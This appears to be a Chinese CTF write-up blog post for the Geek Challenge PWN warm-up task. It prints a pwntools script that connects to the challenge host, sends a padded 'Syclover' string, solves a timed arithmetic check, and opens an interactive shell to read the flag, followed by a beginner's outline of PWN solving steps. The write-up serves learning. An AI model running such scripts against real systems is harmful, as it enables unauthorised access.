PWN签到题

发布于 2023-12-18  70 次阅读


关于极客大挑战PWN的第一题的一些复盘;

1.解题的思路:

题目的附件拖入IDA查看程序:

可以看到里面有两个挑战:chal1,chal2.

点进去查看第一个挑战:

意思就是要让我们输入100个字符,并且最后几位是Syclover,限时三秒内完成.

到时候写脚本连接靶机的时候就要向靶机输入满足条件的字符

查看第二个挑战:

会在屏幕上随意输出一个式子并且在三秒内输入进去结果,这样才能得到shell得到flag

2.对脚本的解读:

根据上面所说的两种挑战,我们可以写出如下的脚本:

from pwn import *

context.log_level = 'debug'


# 连接到远程挑战程序
conn = remote('pwn.node.game.sycsec.com', 31104)
conn.recvuntil(b"!!!\n")

# 接收挑战信息
#chal_info = conn.recvline().decode()
#print(chal_info)

payload = b'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111Syclover'
conn.sendline(payload)
#result = conn.recvall().decode()
#print(result)



# 解决第二个挑战的函数

conn.recvuntil("first one\n")
# 接收并解析随机数
conn.recvuntil(b"((")
num1 = int(re.search(r'\d+', conn.recvuntil(b"-").decode()).group())
print("num1=" + str(num1))

num2 = int(re.search(r'\d+', conn.recvuntil(b")").decode()).group())
print("num2=" + str(num2))

num3 = int(re.search(r'\d+', conn.recvuntil(b")").decode()).group())
print("num3=" + str(num3))

num4 = int(re.search(r'\d+', conn.recvuntil(b"=").decode()).group())
print("num4=" + str(num4))

## 解决第二个挑战的函数

   # 发送计算结果
result = ((num1 - num2) * num3) % num4


#result = conn.recvall().decode()

print(result)
   # 3. 返回计算出的答案


# 发送结果
conn.sendline(str(result))


from pwn import process
bytes = conn.recvline(keepends=True)

##conn.recvuntil("shell!\n")
#eceived_data = conn.recv()
#print("Received data: " + received_data.decode())
conn.interactive()

from pwn import * :载入pwntools库;

context.log_level = 'debug':设置日志为调试模式(这样有助于我们在测试代码的时候可以更好的发现错误和得知代码的运行情况);

conn = remote('pwn.node.game.sycsec.com', 31104):这一行代码用于连接靶机,其中分别填为靶机的IP地址,靶机的监听窗口.

conn.recvuntil(b"!!!\n"):用于接收题目信息,因为第一个挑战在你输入字符之前是!!!\n,所以一直接收到!!!\n为止.

payload = b'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111Syclover' conn.sendline(payload):构造一个字符串并发送payload数据.

<!--在信息安全领域中,"payload"是指一段用于攻击或利用目标系统的代码,通常用于利用漏洞或执行恶意操作。根据具体的上下文和攻击场景,payload可以是各种不同类型的代码,例如注入攻击的SQL语句、远程代码执行的脚本、缓冲区溢出的恶意数据等。由于你的问题中没有提供具体上下文或攻击目标,我无法为你提供具体的payload代码。攻击使用的payload是高度专门化的,取决于目标系统的漏洞和你想要实现的具体攻击效果。-->

其中conn.sendline(payload)是用于把数据发送至远程主机的端口.

以上便解决了第一个挑战,下面便是解决第二个挑战:conn.recvuntil("first one\n")
num1 = int(re.search(r'\d+', conn.recvuntil(b"-").decode()).group())
num2 = int(re.search(r'\d+', conn.recvuntil(b")").decode()).group())
num3 = int(re.search(r'\d+', conn.recvuntil(b")").decode()).group())
num4 = int(re.search(r'\d+', conn.recvuntil(b"=").decode()).group())
result = ((num1 - num2) * num3) % num4
print(result)
conn.sendline(str(result))

在此里面:

conn.recvuntil("first one\n"):功能同样是用于接收题目信息直到出现first one\n为止.

然后接下来的任务便是提取数字

根据测试的结果,我们发现数据是如同((5734359-3220061)*6587)% 101731=?一样的题目信息,因此我们需要用函数来提取出里面的数字,num1 = int(re.search(r'\d+', conn.recvuntil(b"-").decode()).group())
num2 = int(re.search(r'\d+', conn.recvuntil(b")").decode()).group())
num3 = int(re.search(r'\d+', conn.recvuntil(b")").decode()).group())
num4 = int(re.search(r'\d+',

第一句代码的意思是从连接对象里面读取数据知道遇见 - 为止然后

使用正则表达式查找该字符前面的数字,并将其转换为整数类型;

由此方法来取得题目里面的一些列数字.

然后便开始计算式子结果并且发送结果到靶机.from pwn import process # 从网络连接对象接收一行数据,并保留行尾换行符
bytes = conn.recvline(keepends=True)

引入了process模块,调用了recvline方法从网络连接对象接受数据

conn.interactive():用于将控制权交于用户,实现交互式对话

因此当我们在windows的窗口上运行我们写的脚本的时候我们就可以用来与靶机交互来读取里面的flag,结果如下;

cat flag过后就可以查看到flag了

3.关于PWN 的学习:

学长建议在ctf wiki上面学

首先是关于pwn的介绍:

PWN是什么?

CTF中PWN题型通常会直接给定一个已经编译好的二进制程序,然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞,并编写利用代码发送playload,通过远程代码执行来达到攻击的效果,最终拿到目标机器的shell(控制台权限)来夺取flag。

shell:"shell"通常指的是一个交互式的命令行界面,可以用于执行系统命令和操作。可以说,拿到了shell,你就是服务器的拥有者。自然而然就可以光明正大的查找这台服务器上的flag

解题步骤

  1. 获取题目附件
  2. 将附件复制一份到Linux虚拟机中,使用checksec指令检查程序开启的保护和程序的位数(32位或64位)
  3. 打开题目环境,使用nc指令连接服务器,尝试猜测程序的功能,有时签到题会在你nc上去后,直接提供给你系统权限,此时可直接使用系统指令,寻找flag
  4. 使用对应位数的IDA工具对附件进行反编译,理解并发现其中的漏洞
  5. 分析漏洞,使用python和pwntool库编写攻击脚本playload。
  6. 最后,让你的攻击脚本跑起来,成功拿取权限后,flag即可到手

The world's full of lonely people afraid to make the first move.